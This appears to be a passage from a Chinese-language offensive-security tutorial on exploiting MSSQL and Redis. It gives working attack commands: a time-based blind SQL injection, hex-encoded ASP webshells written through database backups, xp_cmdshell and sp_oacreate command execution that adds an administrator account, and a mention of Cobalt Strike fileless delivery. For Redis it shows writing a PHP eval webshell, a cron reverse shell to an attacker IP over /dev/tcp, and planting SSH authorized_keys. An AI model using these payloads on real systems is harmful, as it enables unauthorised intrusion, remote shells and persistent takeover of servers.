if 条件 true
如果条件为真,则执行 true 语句
如
?id=1 if(len(db_name()))>1 waitfor delay '0:0:5'--+
1 和 if 之间不用连接
其他跟之前一样
恶意利用
MSSQL 日志备份主要分为差异备份和日志备份。但差异备份不太稳定,同时因为权限的问题,最好不要备份到盘符根目录,如果这种方式失败,大概率是备份的目录没有写权限. 当过滤了特殊的字符比如单引号,或者 路径符号 都可以使用定义局部变量来执行
差异备份写入 shell
1、完整备份当前数据库到文件【需有 C 盘权限】
?id=1;backup database test to disk='C:\1.bak'--+
2、创建新的表
?id=1;create table tt(a image)--+
3、插入一句话木马
?id=1;insert into tt(a) values(0x3c256578656375746528726571756573742822636d64222929253e)--+
values 内为 <%execute(request("cmd"))%>,需进行十六进制编码
4、差异备份数据库
?id=1;backup database test to disk='C:\inetpub\wwwroot\MSSQL-SQLi-Labs\bk.asp' with differential,format;
5、连接 webshell
【以上未成功,未完待续……】
log 备份写入 shell
1、修改数据库设置为恢复模式
?id=1;alter database test set recovery full--+
2、创建表
?id=1;create table t(a image);--+
3、插入一句话木马
?id=1;insert into t(a) values(0x3c256578656375746528726571756573742822636d64222929253e);--+
4、备份数据库
?id=1;backup database test to disk='C:\inetpub\wwwroot\MSSQL-SQLi-Labs\bk.bak';--+
5、备份日志
?id=1;backup log test to disk='C:\inetpub\wwwroot\MSSQL-SQLi-Labs\bk.asp' with init;--+
6、连接 webshell
成功
利用 xp_cmdshell 提权
【注意】Mssql 2019 版本及以后版本中,默认用户非 system 用户,普通权限
xp_cmdshell
是Sql Server
中的一个组件,将命令字符串作为操作系统命令 shell 执行,并以文本行的形式返回所有输出。通常在拿到 sa 口令之后,可以通过xp_cmdshell
来进行提权
查看 xp_cmdshell 状态
select count(*) from master.dbo.sysobjects where xtype='x' and name='xp_cmdshell'
开启 xp_cmdshell 组件
EXEC sp_configure 'show advanced options', 1;
RECONFIGURE;
EXEC sp_configure 'xp_cmdshell',1;
RECONFIGURE;
关闭 xp_cmdshell 组件
EXEC sp_configure 'show advanced options', 1;
RECONFIGURE;
EXEC sp_configure 'xp_cmdshell',0;
RECONFIGURE;
执行命令
【whoami】
exec xp_cmdshell "whoami";
【ipconfig】
exec xp_cmdshell "ipconfig";
【添加用户并加入管理员组】
exec xp_cmdshell "net user test test123 /add";
exec xp_cmdshell "net localgroup administrators test /add";
利用 sp_oacreate、sp_oamethod 提权
sp_oacreate
系统存储过程可以用于对文件删除、复制、移动等操作,还可以配合sp_oamethod
系统存储过程调用系统wscript.shell
来执行系统命令。
sp_oacreate
和sp_oamethod
两个过程分别用来创建和执行脚本语言。系统管理员使用
sp_configure
启用sp_oacreate
和sp_oamethod
系统存储过程对 OLE 自动化过程的访问(OLE Automation Procedures)在效果方面,
sp_oacreate、sp_oamethod
两个过程和xp_cmdshell
过程功能类似,因此可以替换使用!
查看 sp_oacreate 状态
select count(*) from master.dbo.sysobjects where xtype='x' and name='SP_OACREATE';
启用 OLE Automation Procedures
exec sp_configure 'show advanced options',1;
reconfigure;
exec sp_configure 'Ole Automation Procedures',1;
reconfigure;
同理,关闭 OLE Automation Procedures
exec sp_configure 'show advanced options',1;
reconfigure;
exec sp_configure 'Ole Automation Procedures',0;
reconfigure;
执行命令
declare @shell int exec sp_oacreate 'wscript.shell',@shell output
exec sp_oamethod @shell,'run',null,'命令';
配合 Cobalt Strike 的 powershell 投递,实现无文件 getshell
【写入文件】
declare @shell int exec sp_oacreate 'wscript.shell',@shell output
exec sp_oamethod @shell,'run',null,'c:\windows\system32\cmd.exe /c whoami >c:\\sqltest.txt';
【删除文件】
declare @result int
declare @fso_token int
exec sp_oacreate 'scripting.filesystemobject', @fso_token out
exec sp_oamethod @fso_token,'deletefile',null,'c:\sqltest.txt'
exec sp_oadestroy @fso_token
Redis
Redis(Remote Dictionary Server)是一个开源的内存数据库,遵守 BSD 协议,它提供了一个高性能的键值(key-value)存储系统,常用于缓存、消息队列、会话存储等应用场景
安装
# 下载最新版本
wget http://download.redis.io/redis-stable.tar.gz
# 解压
tar -zxvf redis-stable.tar.gz
# 进入文件夹
cd redis-stable/src
# 编译
make install
【注意】
centos 7 自带的 gcc 版本为 4.8.5,redis 6.x 版本需要 gcc 版本大于 4.9
# 升级 gcc yum -y install centos-release-scl yum -y install devtoolset-9-gcc devtoolset-9-gcc-c++ devtoolset-9-binutils scl enable devtoolset-9 bash echo "source /opt/rh/devtoolset-9/enable" >> /etc/profile # 查看 gcc 版本 gcc -v
修改配置文件
vim redis-stable/redis.conf
# 允许后台运行,改为
daemonize yes
# 关闭保护模式
protected-mode no
# 取消 ip 绑定
注释掉 bind 127.0.0.1
# 设置不需要密码
注释掉 requirepass foobared
记得关掉防火墙或开放 6379 端口
# 关闭防火墙 systemctl stop firewalld systemctl disable firewalld
连接 redis 数据库
redis-cli -h IP -p PORT -a PASSWORD
基本语句
查看所有键名
keys *
设置键值
set 键 值
获取键的值
get 键
删除键
del 键
数据持久化
redis 提供了两种持久化方式,分别是RDB(Redis DataBase)和AOF(Append Only File)。
RDB,简而言之,就是在不同的时间点,将 redis 存储的数据生成快照并存储到磁盘等介质上;
AOF,则是换了一个角度来实现持久化,那就是将 redis 执行过的所有写指令记录下来,在下次 redis 重新启动时,只要把这些写指令从前到后再重复执行一遍,就可以实现数据恢复了。
其实 RDB 和 AOF 两种方式也可以同时使用,在这种情况下,如果 redis 重启的话,则会优先采用 AOF 方式来进行数据恢复,这是因为 AOF 方式的数据恢复完整度更高。
如果你没有数据持久化的需求,也完全可以关闭 RDB 和 AOF 方式,这样的话,redis 将变成一个纯内存数据库,就像 memcache 一样。
持久化配置
# 修改配置文件
vim redis-stable/redis.conf
# 查找 SNAPSHOTTING
/SNAPSHOTTING
上面的 save 就是满足时间或频率规则自动触发保存到本地
保存的路径在哪呢?
dir ./ 表示在当前目录下,dbfilename 代表的是文件名
都可以修改
手动触发保存
save
或
bgsave
恶意利用
任意文件写入 getshell
动态(临时)修改配置
在 redis 里
config set dir 路径
config set dbfilename 文件名
如
config set dir /var/www/html
config set dbfilename shell.php
如果修改时报错,可尝试修改 redis.conf
# 将 #enable-protected-configs no # 修改为 enable-protected-configs yes
设置键值
# 键名随便写
set x '<?php phpinfo();@eval($_POST[a]);?>'
然后访问 shell.php 连接 webshell 即可
计划任务反弹 shell
在 redis 里
# 设置键值
set x "\n* * * * * bash -i >& /dev/tcp/192.168.230.129/7777 0>&1\n"
# 临时设置保存持久化的路径文件
config set dir /var/spool/cron/
config set dbfilename root
# 在 /var/spool/cron/ 里什么用户执行的计划任务就用什么用户来命名
# 保存持久化文件
save
在攻击机里
# 开启监听
nc -lvp 7777
等待任务执行即可
ssh 免密登录
本机上创建 ssh 公私钥
ssh-keygen
一路回车默认
在当前用户的家目录下会生成两个文件,一个公钥(.pub 后缀)一个私钥
利用 redis 写入公钥即可实现免密登录
# 设置键值
set x "公钥文件内容"
# 临时设置保存持久化的路径文件
config set dir /root/.ssh
config set dbfilename authorized_keys
# 保存持久化文件
save
没有 .ssh 目录要先创建,不然无法成功
文件名 authorized_keys 不能改
然后 ssh 免密登录
ssh -i 私钥文件 root@ip
或
ssh root@ip